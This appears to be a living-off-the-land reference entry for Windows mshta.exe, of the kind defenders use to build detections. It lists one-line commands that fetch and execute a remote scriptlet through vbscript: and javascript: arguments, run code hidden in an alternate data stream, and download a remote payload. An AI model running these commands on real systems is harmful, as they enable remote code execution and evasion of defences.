Mshta.exe

Used by Windows to execute html applications. (.hta)

Paths

  • C:\Windows\System32\mshta.exe
  • C:\Windows\SysWOW64\mshta.exe

Commands

Execute

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use case: Execute code

Privileges: User

mshta.exe {PATH:.hta}

Execute

Executes VBScript supplied as a command line argument.

Use case: Execute code

Privileges: User

mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

Execute

Executes JavaScript supplied as a command line argument.

Use case: Execute code

Privileges: User

mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

ADS

Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.

Use case: Execute code hidden in alternate data stream

Privileges: User

mshta.exe "{PATH_ABSOLUTE}:file.hta"

Download

It will download a remote payload and place it in INetCache.

Use case: Downloads payload from remote server

Privileges: User

mshta.exe {REMOTEURL}

Detection

Resources